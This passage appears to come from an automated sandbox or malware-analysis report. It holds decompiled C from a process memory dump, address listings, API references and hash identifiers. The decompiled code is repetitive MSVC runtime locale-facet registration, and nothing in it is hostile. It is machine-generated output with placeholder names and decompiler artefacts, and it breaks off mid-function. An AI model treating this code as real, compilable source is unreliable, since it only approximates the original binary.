																												E0049D90B(0x4d6966, _t520, _t535);
																												E00488DEA( &_v20, 0);
																												_t536 =  *0x4ede08; // 0x0
																												_v4 = _v4 & 0x00000000;
																												_v16 = _t536;
																												_t521 = E0042B315(_a8, E0042B22E(0x4eddac, _t520, _t536, __eflags));
																												__eflags = _t521;
																												if(_t521 != 0) {
																													L61:
																													E00488E42( &_v20);
																													return E0049D8D4(_t521);
																												} else {
																													__eflags = _t536;
																													if(__eflags == 0) {
																														_push(_a8);
																														_push( &_v16);
																														__eflags = E0048E607(_t521, _t536, __eflags) - 0xffffffff;
																														if(__eflags == 0) {
																															E0042B042(__eflags);
																															asm("int3");
																															_push(8);
																															E0049D90B(0x4d6966, _t521, _t536);
																															E00488DEA( &_v20, 0);
																															_t537 =  *0x4eddd8; // 0x0
																															_v4 = _v4 & 0x00000000;
																															_v16 = _t537;
																															_t522 = E0042B315(_a8, E0042B22E(0x4edd84, _t521, _t537, __eflags));
																															__eflags = _t522;
																															if(_t522 != 0) {
																																L68:
																																E00488E42( &_v20);
																																return E0049D8D4(_t522);
																															} else {
																																__eflags = _t537;
																																if(__eflags == 0) {
																																	_push(_a8);
																																	_push( &_v16);
																																	__eflags = E0048E682(_t522, _t537, __eflags) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E0042B042(__eflags);
																																		asm("int3");
																																		_push(8);
																																		E0049D90B(0x4d6966, _t522, _t537);
																																		E00488DEA( &_v20, 0);
																																		_t538 =  *0x4ede24; // 0x0
																																		_v4 = _v4 & 0x00000000;
																																		_v16 = _t538;
																																		_t523 = E0042B315(_a8, E0042B22E(0x4eddc8, _t522, _t538, __eflags));
																																		__eflags = _t523;
																																		if(_t523 != 0) {
																																			L75:
																																			E00488E42( &_v20);
																																			return E0049D8D4(_t523);
																																		} else {
																																			__eflags = _t538;
																																			if(__eflags == 0) {
																																				_push(_a8);
																																				_push( &_v16);
																																				__eflags = E0048E6FD(_t523, _t538, __eflags) - 0xffffffff;
																																				if(__eflags == 0) {
																																					E0042B042(__eflags);
																																					asm("int3");
																																					_push(8);
																																					E0049D90B(0x4d6966, _t523, _t538);
																																					E00488DEA( &_v20, 0);
																																					_t539 =  *0x4eddf4; // 0x0
																																					_v4 = _v4 & 0x00000000;
																																					_v16 = _t539;
																																					_t524 = E0042B315(_a8, E0042B22E(0x4edda0, _t523, _t539, __eflags));
																																					__eflags = _t524;
																																					if(_t524 != 0) {
																																						L82:
																																						E00488E42( &_v20);
																																						return E0049D8D4(_t524);
																																					} else {
																																						__eflags = _t539;
																																						if(__eflags == 0) {
																																							_push(_a8);
																																							_push( &_v16);
																																							__eflags = E0048E769(_t524, _t539, __eflags) - 0xffffffff;
																																							if(__eflags == 0) {
																																								E0042B042(__eflags);
																																								asm("int3");
																																								_push(8);
																																								E0049D90B(0x4d6966, _t524, _t539);
																																								E00488DEA( &_v20, 0);
																																								_t540 =  *0x4ede28; // 0x0
																																								_v4 = _v4 & 0x00000000;
																																								_v16 = _t540;
																																								_t525 = E0042B315(_a8, E0042B22E(0x4eddcc, _t524, _t540, __eflags));
																																								__eflags = _t525;
																																								if(_t525 != 0) {
																																									L89:
																																									E00488E42( &_v20);
																																									return E0049D8D4(_t525);
																																								} else {
																																									__eflags = _t540;
																																									if(__eflags == 0) {
																																										_push(_a8);
																																										_push( &_v16);
																																										__eflags = E0048E7D5(_t525, _t540, __eflags) - 0xffffffff;
																																										if(__eflags == 0) {
																																											E0042B042(__eflags);
																																											asm("int3");
																																											_push(8);
																																											E0049D90B(0x4d6966, _t525, _t540);
																																											E00488DEA( &_v20, 0);
																																											_t541 =  *0x4eddf8; // 0x0
																																											_v4 = _v4 & 0x00000000;
																																											_v16 = _t541;
																																											_t526 = E0042B315(_a8, E0042B22E(0x4edd78, _t525, _t541, __eflags));
																																											__eflags = _t526;
																																											if(_t526 != 0) {
																																												L96:
																																												E00488E42( &_v20);
																																												return E0049D8D4(_t526);
																																											} else {
																																												__eflags = _t541;
																																												if(__eflags == 0) {
																																													_push(_a8);
																																													_push( &_v16);
																																													_t325 = E0048E849(_t526, _t541, __eflags);
																																													_pop(_t469);
																																													__eflags = _t325 - 0xffffffff;
																																													if(__eflags == 0) {
																																														E0042B042(__eflags);
																																														asm("int3");
																																														_push(_t541);
																																														_t542 = _t469;
																																														_t170 = _t542 + 0x10;
																																														 *_t170 =  *(_t542 + 0x10) & 0x00000000;
																																														__eflags =  *_t170;
																																														 *((intOrPtr*)(_t542 + 0x14)) = 7;
																																														 *_t542 = 0;
																																														E00494BE0( *((intOrPtr*)(_t561 + 8)));
																																														return _t542;
																																													} else {
																																														_t526 = _v16;
																																														_v16 = _t526;
																																														_v4 = 1;
																																														E0048919D(_t526);
																																														 *0x4f02b4();
																																														 *((intOrPtr*)( *((intOrPtr*)( *_t526 + 4))))();
																																														 *0x4eddf8 = _t526;
																																														goto L96;
																																													}
																																												} else {
																																													_t526 = _t541;
																																													goto L96;
																																												}
																																											}
																																										} else {
																																											_t525 = _v16;
																																											_v16 = _t525;
																																											_v4 = 1;
																																											E0048919D(_t525);
																																											 *0x4f02b4();
																																											 *((intOrPtr*)( *((intOrPtr*)( *_t525 + 4))))();
																																											 *0x4ede28 = _t525;
																																											goto L89;
																																										}
																																									} else {
																																										_t525 = _t540;
																																										goto L89;
																																									}
																																								}
																																							} else {
																																								_t524 = _v16;
																																								_v16 = _t524;
																																								_v4 = 1;
																																								E0048919D(_t524);
																																								 *0x4f02b4();
																																								 *((intOrPtr*)( *((intOrPtr*)( *_t524 + 4))))();
																																								 *0x4eddf4 = _t524;
																																								goto L82;
																																							}
																																						} else {
																																							_t524 = _t539;
																																							goto L82;
																																						}
																																					}
																																				} else {
																																					_t523 = _v16;
																																					_v16 = _t523;
																																					_v4 = 1;
																																					E0048919D(_t523);
																																					 *0x4f02b4();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t523 + 4))))();
																																					 *0x4ede24 = _t523;
																																					goto L75;
																																				}
																																			} else {
																																				_t523 = _t538;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t522 = _v16;
																																		_v16 = _t522;
																																		_v4 = 1;
																																		E0048919D(_t522);
																																		 *0x4f02b4();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t522 + 4))))();
																																		 *0x4eddd8 = _t522;
																																		goto L68;
																																	}
																																} else {
																																	_t522 = _t537;
																																	goto L68;
																																}
																															}
																														} else {
																															_t521 = _v16;
																															_v16 = _t521;
																															_v4 = 1;
																															E0048919D(_t521);
																															 *0x4f02b4();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t521 + 4))))();
																															 *0x4ede08 = _t521;
																															goto L61;
																														}
																													} else {
																														_t521 = _t536;
																														goto L61;
																													}
																												}
																											} else {
																												_t520 = _v16;
																												_v16 = _t520;
																												_v4 = 1;
																												E0048919D(_t520);
																												 *0x4f02b4();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t520 + 4))))();
																												 *0x4eddd4 = _t520;
																												goto L54;
																											}
																										} else {
																											_t520 = _t535;
																											goto L54;
																										}
																									}
																								} else {
																									_t519 = _v16;
																									_v16 = _t519;
																									_v4 = 1;
																									E0048919D(_t519);
																									 *0x4f02b4();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t519 + 4))))();
																									 *0x4ede04 = _t519;
																									goto L47;
																								}
																							} else {
																								_t519 = _t534;
																								goto L47;
																							}
																						}
																					} else {
																						_t518 = _v16;
																						_v16 = _t518;
																						_v4 = 1;
																						E0048919D(_t518);
																						 *0x4f02b4();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t518 + 4))))();
																						 *0x4eddd0 = _t518;
																						goto L40;
																					}
																				} else {
																					_t518 = _t533;
																					goto L40;
																				}
																			}
																		} else {
																			_t517 = _v16;
																			_v16 = _t517;
																			_v4 = 1;
																			E0048919D(_t517);
																			 *0x4f02b4();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t517 + 4))))();
																			 *0x4ede00 = _t517;
																			goto L33;
																		}
																	} else {
																		_t517 = _t532;
																		goto L33;
																	}
																}
															} else {
																_t516 = _v16;
																_v16 = _t516;
																_v4 = 1;
																E0048919D(_t516);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t516 + 4))))();
																 *0x4eddec = _t516;
																goto L26;
															}
														} else {
															_t516 = _t531;
															goto L26;
														}
													}
												} else {
													_t515 = _v16;
													_v16 = _t515;
													_v4 = 1;
													E0048919D(_t515);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t515 + 4))))();
													 *0x4eddf0 = _t515;
													goto L19;
												}
											} else {
												_t515 = _t530;
												goto L19;
											}
										}
									} else {
										_t514 = _v16;
										_v16 = _t514;
										_v4 = 1;
										E0048919D(_t514);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t514 + 4))))();
										 *0x4ede1c = _t514;
										goto L12;
									}
								} else {
									_t514 = _t529;
									goto L12;
								}
							}
						} else {
							_t513 = _v16;
							_v16 = _t513;
							_v4 = 1;
							E0048919D(_t513);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t513 + 4))))();
							 *0x4ede20 = _t513;
							goto L5;
						}
					} else {
						_t513 = _t528;
						goto L5;
					}
				}
			}

0x0048c83a
0x0048c841
0x0048c84b
0x0048c850
0x0048c85b
0x0048c85f
0x0048c86b
0x0048c870
0x0048c874
0x0048c8b9
0x0048c8bc
0x0048c8c8
0x0048c876
0x0048c878
0x0048c87e
0x0048c884
0x0048c88c
0x0048c88f
0x0048c8c9
0x0048c8ce
0x0048c8cf
0x0048c8d6
0x0048c8e0
0x0048c8e5
0x0048c8f0
0x0048c8f4
0x0048c905
0x0048c907
0x0048c909
0x0048c94e
0x0048c951
0x0048c95d
0x0048c90b
0x0048c90b
0x0048c90d
0x0048c913
0x0048c919
0x0048c921
0x0048c924
0x0048c95e
0x0048c963
0x0048c964
0x0048c96b
0x0048c975
0x0048c97a
0x0048c985
0x0048c989
0x0048c99a
0x0048c99c
0x0048c99e
0x0048c9e3
0x0048c9e6
0x0048c9f2
0x0048c9a0
0x0048c9a0
0x0048c9a2
0x0048c9a8
0x0048c9ae
0x0048c9b6
0x0048c9b9
0x0048c9f3
0x0048c9f8
0x0048c9f9
0x0048ca00
0x0048ca0a
0x0048ca0f
0x0048ca1a
0x0048ca1e
0x0048ca2f
0x0048ca31
0x0048ca33
0x0048ca78
0x0048ca7b
0x0048ca87
0x0048ca35
0x0048ca35
0x0048ca37
0x0048ca3d
0x0048ca43
0x0048ca4b
0x0048ca4e
0x0048ca88
0x0048ca8d
0x0048ca8e
0x0048ca95
0x0048ca9f
0x0048caa4
0x0048caaf
0x0048cab3
0x0048cac4
0x0048cac6
0x0048cac8
0x0048cb0d
0x0048cb10
0x0048cb1c
0x0048caca
0x0048caca
0x0048cacc
0x0048cad2
0x0048cad8
0x0048cae0
0x0048cae3
0x0048cb1d
0x0048cb22
0x0048cb23
0x0048cb2a
0x0048cb34
0x0048cb39
0x0048cb44
0x0048cb48
0x0048cb59
0x0048cb5b
0x0048cb5d
0x0048cba2
0x0048cba5
0x0048cbb1
0x0048cb5f
0x0048cb5f
0x0048cb61
0x0048cb67
0x0048cb6d
0x0048cb75
0x0048cb78
0x0048cbb2
0x0048cbb7
0x0048cbb8
0x0048cbbf
0x0048cbc9
0x0048cbce
0x0048cbd9
0x0048cbdd
0x0048cbee
0x0048cbf0
0x0048cbf2
0x0048cc37
0x0048cc3a
0x0048cc46
0x0048cbf4
0x0048cbf4
0x0048cbf6
0x0048cbfc
0x0048cc02
0x0048cc0a
0x0048cc0d
0x0048cc47
0x0048cc4c
0x0048cc4d
0x0048cc54
0x0048cc5e
0x0048cc63
0x0048cc6e
0x0048cc72
0x0048cc83
0x0048cc85
0x0048cc87
0x0048cccc
0x0048cccf
0x0048ccdb
0x0048cc89
0x0048cc89
0x0048cc8b
0x0048cc91
0x0048cc97
0x0048cc9f
0x0048cca2
0x0048ccdc
0x0048cce1
0x0048cce2
0x0048cce9
0x0048ccf3
0x0048ccf8
0x0048cd03
0x0048cd07
0x0048cd18
0x0048cd1a
0x0048cd1c
0x0048cd61
0x0048cd64
0x0048cd70
0x0048cd1e
0x0048cd1e
0x0048cd20
0x0048cd26
0x0048cd2c
0x0048cd34
0x0048cd37
0x0048cd71
0x0048cd76
0x0048cd77
0x0048cd7e
0x0048cd88
0x0048cd8d
0x0048cd98
0x0048cd9c
0x0048cdad
0x0048cdaf
0x0048cdb1
0x0048cdf6
0x0048cdf9
0x0048ce05
0x0048cdb3
0x0048cdb3
0x0048cdb5
0x0048cdbb
0x0048cdc1
0x0048cdc9
0x0048cdcc
0x0048ce06
0x0048ce0b
0x0048ce0c
0x0048ce13
0x0048ce1d
0x0048ce22
0x0048ce2d
0x0048ce31
0x0048ce42
0x0048ce44
0x0048ce46
0x0048ce8b
0x0048ce8e
0x0048ce9a
0x0048ce48
0x0048ce48
0x0048ce4a
0x0048ce50
0x0048ce56
0x0048ce5e
0x0048ce61
0x0048ce9b
0x0048cea0
0x0048cea1
0x0048cea8
0x0048ceb2
0x0048ceb7
0x0048cec2
0x0048cec6
0x0048ced7
0x0048ced9
0x0048cedb
0x0048cf20
0x0048cf23
0x0048cf2f
0x0048cedd
0x0048cedd
0x0048cedf
0x0048cee5
0x0048ceeb
0x0048cef3
0x0048cef6
0x0048cf30
0x0048cf35
0x0048cf36
0x0048cf3d
0x0048cf47
0x0048cf4c
0x0048cf57
0x0048cf5b
0x0048cf6c
0x0048cf6e
0x0048cf70
0x0048cfb5
0x0048cfb8
0x0048cfc4
0x0048cf72
0x0048cf72
0x0048cf74
0x0048cf7a
0x0048cf80
0x0048cf88
0x0048cf8b
0x0048cfc5
0x0048cfca
0x0048cfcb
0x0048cfd2
0x0048cfdc
0x0048cfe1
0x0048cfec
0x0048cff0
0x0048d001
0x0048d003
0x0048d005
0x0048d04a
0x0048d04d
0x0048d059
0x0048d007
0x0048d007
0x0048d009
0x0048d00f
0x0048d015
0x0048d016
0x0048d01c
0x0048d01d
0x0048d020
0x0048d05a
0x0048d05f
0x0048d063
0x0048d067
0x0048d06b
0x0048d06b
0x0048d06b
0x0048d06f
0x0048d076
0x0048d079
0x0048d082
0x0048d022
0x0048d022
0x0048d025
0x0048d029
0x0048d02d
0x0048d03a
0x0048d042
0x0048d044
0x00000000
0x0048d044
0x0048d00b
0x0048d00b
0x00000000
0x0048d00b
0x0048d009
0x0048cf8d
0x0048cf8d
0x0048cf90
0x0048cf94
0x0048cf98
0x0048cfa5
0x0048cfad
0x0048cfaf
0x00000000
0x0048cfaf
0x0048cf76
0x0048cf76
0x00000000
0x0048cf76
0x0048cf74
0x0048cef8
0x0048cef8
0x0048cefb
0x0048ceff
0x0048cf03
0x0048cf10
0x0048cf18
0x0048cf1a
0x00000000
0x0048cf1a
0x0048cee1
0x0048cee1
0x00000000
0x0048cee1
0x0048cedf
0x0048ce63
0x0048ce63
0x0048ce66
0x0048ce6a
0x0048ce6e
0x0048ce7b
0x0048ce83
0x0048ce85
0x00000000
0x0048ce85
0x0048ce4c
0x0048ce4c
0x00000000
0x0048ce4c
0x0048ce4a
0x0048cdce
0x0048cdce
0x0048cdd1
0x0048cdd5
0x0048cdd9
0x0048cde6
0x0048cdee
0x0048cdf0
0x00000000
0x0048cdf0
0x0048cdb7
0x0048cdb7
0x00000000
0x0048cdb7
0x0048cdb5
0x0048cd39
0x0048cd39
0x0048cd3c
0x0048cd40
0x0048cd44
0x0048cd51
0x0048cd59
0x0048cd5b
0x00000000
0x0048cd5b
0x0048cd22
0x0048cd22
0x00000000
0x0048cd22
0x0048cd20
0x0048cca4
0x0048cca4
0x0048cca7
0x0048ccab
0x0048ccaf
0x0048ccbc
0x0048ccc4
0x0048ccc6
0x00000000
0x0048ccc6
0x0048cc8d
0x0048cc8d
0x00000000
0x0048cc8d
0x0048cc8b
0x0048cc0f
0x0048cc0f
0x0048cc12
0x0048cc16
0x0048cc1a
0x0048cc27
0x0048cc2f
0x0048cc31
0x00000000
0x0048cc31
0x0048cbf8
0x0048cbf8
0x00000000
0x0048cbf8
0x0048cbf6
0x0048cb7a
0x0048cb7a
0x0048cb7d
0x0048cb81
0x0048cb85
0x0048cb92
0x0048cb9a
0x0048cb9c
0x00000000
0x0048cb9c
0x0048cb63
0x0048cb63
0x00000000
0x0048cb63
0x0048cb61
0x0048cae5
0x0048cae5
0x0048cae8
0x0048caec
0x0048caf0
0x0048cafd
0x0048cb05
0x0048cb07
0x00000000
0x0048cb07
0x0048cace
0x0048cace
0x00000000
0x0048cace
0x0048cacc
0x0048ca50
0x0048ca50
0x0048ca53
0x0048ca57
0x0048ca5b
0x0048ca68
0x0048ca70
0x0048ca72
0x00000000
0x0048ca72
0x0048ca39
0x0048ca39
0x00000000
0x0048ca39
0x0048ca37
0x0048c9bb
0x0048c9bb
0x0048c9be
0x0048c9c2
0x0048c9c6
0x0048c9d3
0x0048c9db
0x0048c9dd
0x00000000
0x0048c9dd
0x0048c9a4
0x0048c9a4
0x00000000
0x0048c9a4
0x0048c9a2
0x0048c926
0x0048c926
0x0048c929
0x0048c92d
0x0048c931
0x0048c93e
0x0048c946
0x0048c948
0x00000000
0x0048c948
0x0048c90f
0x0048c90f
0x00000000
0x0048c90f
0x0048c90d
0x0048c891
0x0048c891
0x0048c894
0x0048c898
0x0048c89c
0x0048c8a9
0x0048c8b1
0x0048c8b3
0x00000000
0x0048c8b3
0x0048c87a
0x0048c87a
0x00000000
0x0048c87a
0x0048c878

APIs

__EH_prolog3.LIBCMT ref: 0048C841
std::_Lockit::_Lockit.LIBCPMT ref: 0048C84B

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

moneypunct.LIBCPMT ref: 0048C885
std::_Facet_Register.LIBCPMT ref: 0048C89C
std::_Lockit::~_Lockit.LIBCPMT ref: 0048C8BC
Concurrency::cancel_current_task.LIBCPMT ref: 0048C8C9

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registermoneypunct
String ID:
API String ID: 1799738296-0
Opcode ID: 3b6cb409a2f150d9db32ba9a40b159d5f1002f87e096a56cbfac55f0914535f5
Instruction ID: eaf95734eceb6df533cad90a05d1ddaa57abfc5d00c0d80ff92e90dbfc29bab1
Opcode Fuzzy Hash: 3b6cb409a2f150d9db32ba9a40b159d5f1002f87e096a56cbfac55f0914535f5
Instruction Fuzzy Hash: 2901C075D002258BCB05FBA5D8596BE77B5AF84324F14085FE411AB3D2CF7C9E018799

Uniqueness

Uniqueness Score: -1.00%

Function 0048C8CF, Relevance: 9.0, APIs: 6, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0048C8CF(intOrPtr _a8) {
				signed int _v4;
				signed int _v16;
				char _v20;
				void* _v152;
				signed int _t165;
				void* _t302;
				short* _t436;
				void* _t476;
				signed int _t478;
				signed int _t479;
				signed int _t480;
				signed int _t481;
				signed int _t482;
				signed int _t483;
				signed int _t484;
				signed int _t485;
				signed int _t486;
				signed int _t487;
				signed int _t488;
				signed int _t489;
				void* _t490;
				signed int _t491;
				signed int _t492;
				signed int _t493;
				signed int _t494;
				signed int _t495;
				signed int _t496;
				signed int _t497;
				signed int _t498;
				signed int _t499;
				signed int _t500;
				signed int _t501;
				signed int _t502;
				signed int _t503;
				short* _t504;
				void* _t522;
				void* _t523;

				_push(8);
				E0049D90B(0x4d6966, _t476, _t490);
				E00488DEA( &_v20, 0);
				_t491 =  *0x4ede1c; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t491;
				_t165 = E0042B315(_a8, E0042B22E(0x4eddc0, _t476, _t491, _t523));
				_t477 = _t165;
				if(_t165 != 0) {
					L5:
					E00488E42( &_v20);
					return E0049D8D4(_t477);
				} else {
					if(_t491 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E0048E2D9(_t477, _t491, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							E0049D90B(0x4d6966, _t477, _t491);
							E00488DEA( &_v20, 0);
							_t492 =  *0x4eddf0; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t492;
							_t478 = E0042B315(_a8, E0042B22E(0x4edd9c, _t477, _t492, __eflags));
							__eflags = _t478;
							if(_t478 != 0) {
								L12:
								E00488E42( &_v20);
								return E0049D8D4(_t478);
							} else {
								__eflags = _t492;
								if(__eflags == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = E0048E35E(_t478, _t492, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										E0049D90B(0x4d6966, _t478, _t492);
										E00488DEA( &_v20, 0);
										_t493 =  *0x4eddec; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t493;
										_t479 = E0042B315(_a8, E0042B22E(0x4edd98, _t478, _t493, __eflags));
										__eflags = _t479;
										if(_t479 != 0) {
											L19:
											E00488E42( &_v20);
											return E0049D8D4(_t479);
										} else {
											__eflags = _t493;
											if(__eflags == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = E0048E3E2(_t479, _t493, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													E0049D90B(0x4d6966, _t479, _t493);
													E00488DEA( &_v20, 0);
													_t494 =  *0x4ede00; // 0x0
													_v4 = _v4 & 0x00000000;
													_v16 = _t494;
													_t480 = E0042B315(_a8, E0042B22E(0x4edda4, _t479, _t494, __eflags));
													__eflags = _t480;
													if(_t480 != 0) {
														L26:
														E00488E42( &_v20);
														return E0049D8D4(_t480);
													} else {
														__eflags = _t494;
														if(__eflags == 0) {
															_push(_a8);
															_push( &_v16);
															__eflags = E0048E467(_t480, _t494, __eflags) - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(8);
																E0049D90B(0x4d6966, _t480, _t494);
																E00488DEA( &_v20, 0);
																_t495 =  *0x4eddd0; // 0x0
																_v4 = _v4 & 0x00000000;
																_v16 = _t495;
																_t481 = E0042B315(_a8, E0042B22E(0x4edd7c, _t480, _t495, __eflags));
																__eflags = _t481;
																if(_t481 != 0) {
																	L33:
																	E00488E42( &_v20);
																	return E0049D8D4(_t481);
																} else {
																	__eflags = _t495;
																	if(__eflags == 0) {
																		_push(_a8);
																		_push( &_v16);
																		__eflags = E0048E4CF(_t481, _t495, __eflags) - 0xffffffff;
																		if(__eflags == 0) {
																			E0042B042(__eflags);
																			asm("int3");
																			_push(8);
																			E0049D90B(0x4d6966, _t481, _t495);
																			E00488DEA( &_v20, 0);
																			_t496 =  *0x4ede04; // 0x0
																			_v4 = _v4 & 0x00000000;
																			_v16 = _t496;
																			_t482 = E0042B315(_a8, E0042B22E(0x4edda8, _t481, _t496, __eflags));
																			__eflags = _t482;
																			if(_t482 != 0) {
																				L40:
																				E00488E42( &_v20);
																				return E0049D8D4(_t482);
																			} else {
																				__eflags = _t496;
																				if(__eflags == 0) {
																					_push(_a8);
																					_push( &_v16);
																					__eflags = E0048E537(_t482, _t496, __eflags) - 0xffffffff;
																					if(__eflags == 0) {
																						E0042B042(__eflags);
																						asm("int3");
																						_push(8);
																						E0049D90B(0x4d6966, _t482, _t496);
																						E00488DEA( &_v20, 0);
																						_t497 =  *0x4eddd4; // 0x0
																						_v4 = _v4 & 0x00000000;
																						_v16 = _t497;
																						_t483 = E0042B315(_a8, E0042B22E(0x4edd80, _t482, _t497, __eflags));
																						__eflags = _t483;
																						if(_t483 != 0) {
																							L47:
																							E00488E42( &_v20);
																							return E0049D8D4(_t483);
																						} else {
																							__eflags = _t497;
																							if(__eflags == 0) {
																								_push(_a8);
																								_push( &_v16);
																								__eflags = E0048E59F(_t483, _t497, __eflags) - 0xffffffff;
																								if(__eflags == 0) {
																									E0042B042(__eflags);
																									asm("int3");
																									_push(8);
																									E0049D90B(0x4d6966, _t483, _t497);
																									E00488DEA( &_v20, 0);
																									_t498 =  *0x4ede08; // 0x0
																									_v4 = _v4 & 0x00000000;
																									_v16 = _t498;
																									_t484 = E0042B315(_a8, E0042B22E(0x4eddac, _t483, _t498, __eflags));
																									__eflags = _t484;
																									if(_t484 != 0) {
																										L54:
																										E00488E42( &_v20);
																										return E0049D8D4(_t484);
																									} else {
																										__eflags = _t498;
																										if(__eflags == 0) {
																											_push(_a8);
																											_push( &_v16);
																											__eflags = E0048E607(_t484, _t498, __eflags) - 0xffffffff;
																											if(__eflags == 0) {
																												E0042B042(__eflags);
																												asm("int3");
																												_push(8);
																												E0049D90B(0x4d6966, _t484, _t498);
																												E00488DEA( &_v20, 0);
																												_t499 =  *0x4eddd8; // 0x0
																												_v4 = _v4 & 0x00000000;
																												_v16 = _t499;
																												_t485 = E0042B315(_a8, E0042B22E(0x4edd84, _t484, _t499, __eflags));
																												__eflags = _t485;
																												if(_t485 != 0) {
																													L61:
																													E00488E42( &_v20);
																													return E0049D8D4(_t485);
																												} else {
																													__eflags = _t499;
																													if(__eflags == 0) {
																														_push(_a8);
																														_push( &_v16);
																														__eflags = E0048E682(_t485, _t499, __eflags) - 0xffffffff;
																														if(__eflags == 0) {
																															E0042B042(__eflags);
																															asm("int3");
																															_push(8);
																															E0049D90B(0x4d6966, _t485, _t499);
																															E00488DEA( &_v20, 0);
																															_t500 =  *0x4ede24; // 0x0
																															_v4 = _v4 & 0x00000000;
																															_v16 = _t500;
																															_t486 = E0042B315(_a8, E0042B22E(0x4eddc8, _t485, _t500, __eflags));
																															__eflags = _t486;
																															if(_t486 != 0) {
																																L68:
																																E00488E42( &_v20);
																																return E0049D8D4(_t486);
																															} else {
																																__eflags = _t500;
																																if(__eflags == 0) {
																																	_push(_a8);
																																	_push( &_v16);
																																	__eflags = E0048E6FD(_t486, _t500, __eflags) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E0042B042(__eflags);
																																		asm("int3");
																																		_push(8);
																																		E0049D90B(0x4d6966, _t486, _t500);
																																		E00488DEA( &_v20, 0);
																																		_t501 =  *0x4eddf4; // 0x0
																																		_v4 = _v4 & 0x00000000;
																																		_v16 = _t501;
																																		_t487 = E0042B315(_a8, E0042B22E(0x4edda0, _t486, _t501, __eflags));
																																		__eflags = _t487;
																																		if(_t487 != 0) {
																																			L75:
																																			E00488E42( &_v20);
																																			return E0049D8D4(_t487);
																																		} else {
																																			__eflags = _t501;
																																			if(__eflags == 0) {
																																				_push(_a8);
																																				_push( &_v16);
																																				__eflags = E0048E769(_t487, _t501, __eflags) - 0xffffffff;
																																				if(__eflags == 0) {
																																					E0042B042(__eflags);
																																					asm("int3");
																																					_push(8);
																																					E0049D90B(0x4d6966, _t487, _t501);
																																					E00488DEA( &_v20, 0);
																																					_t502 =  *0x4ede28; // 0x0
																																					_v4 = _v4 & 0x00000000;
																																					_v16 = _t502;
																																					_t488 = E0042B315(_a8, E0042B22E(0x4eddcc, _t487, _t502, __eflags));
																																					__eflags = _t488;
																																					if(_t488 != 0) {
																																						L82:
																																						E00488E42( &_v20);
																																						return E0049D8D4(_t488);
																																					} else {
																																						__eflags = _t502;
																																						if(__eflags == 0) {
																																							_push(_a8);
																																							_push( &_v16);
																																							__eflags = E0048E7D5(_t488, _t502, __eflags) - 0xffffffff;
																																							if(__eflags == 0) {
																																								E0042B042(__eflags);
																																								asm("int3");
																																								_push(8);
																																								E0049D90B(0x4d6966, _t488, _t502);
																																								E00488DEA( &_v20, 0);
																																								_t503 =  *0x4eddf8; // 0x0
																																								_v4 = _v4 & 0x00000000;
																																								_v16 = _t503;
																																								_t489 = E0042B315(_a8, E0042B22E(0x4edd78, _t488, _t503, __eflags));
																																								__eflags = _t489;
																																								if(_t489 != 0) {
																																									L89:
																																									E00488E42( &_v20);
																																									return E0049D8D4(_t489);
																																								} else {
																																									__eflags = _t503;
																																									if(__eflags == 0) {
																																										_push(_a8);
																																										_push( &_v16);
																																										_t302 = E0048E849(_t489, _t503, __eflags);
																																										_pop(_t436);
																																										__eflags = _t302 - 0xffffffff;
																																										if(__eflags == 0) {
																																											E0042B042(__eflags);
																																											asm("int3");
																																											_push(_t503);
																																											_t504 = _t436;
																																											_t158 = _t504 + 0x10;
																																											 *_t158 =  *(_t504 + 0x10) & 0x00000000;
																																											__eflags =  *_t158;
																																											 *((intOrPtr*)(_t504 + 0x14)) = 7;
																																											 *_t504 = 0;
																																											E00494BE0( *((intOrPtr*)(_t522 + 8)));
																																											return _t504;
																																										} else {
																																											_t489 = _v16;
																																											_v16 = _t489;
																																											_v4 = 1;
																																											E0048919D(_t489);
																																											 *0x4f02b4();
																																											 *((intOrPtr*)( *((intOrPtr*)( *_t489 + 4))))();
																																											 *0x4eddf8 = _t489;
																																											goto L89;
																																										}
																																									} else {
																																										_t489 = _t503;
																																										goto L89;
																																									}
																																								}
																																							} else {
																																								_t488 = _v16;
																																								_v16 = _t488;
																																								_v4 = 1;
																																								E0048919D(_t488);
																																								 *0x4f02b4();
																																								 *((intOrPtr*)( *((intOrPtr*)( *_t488 + 4))))();
																																								 *0x4ede28 = _t488;
																																								goto L82;
																																							}
																																						} else {
																																							_t488 = _t502;
																																							goto L82;
																																						}
																																					}
																																				} else {
																																					_t487 = _v16;
																																					_v16 = _t487;
																																					_v4 = 1;
																																					E0048919D(_t487);
																																					 *0x4f02b4();
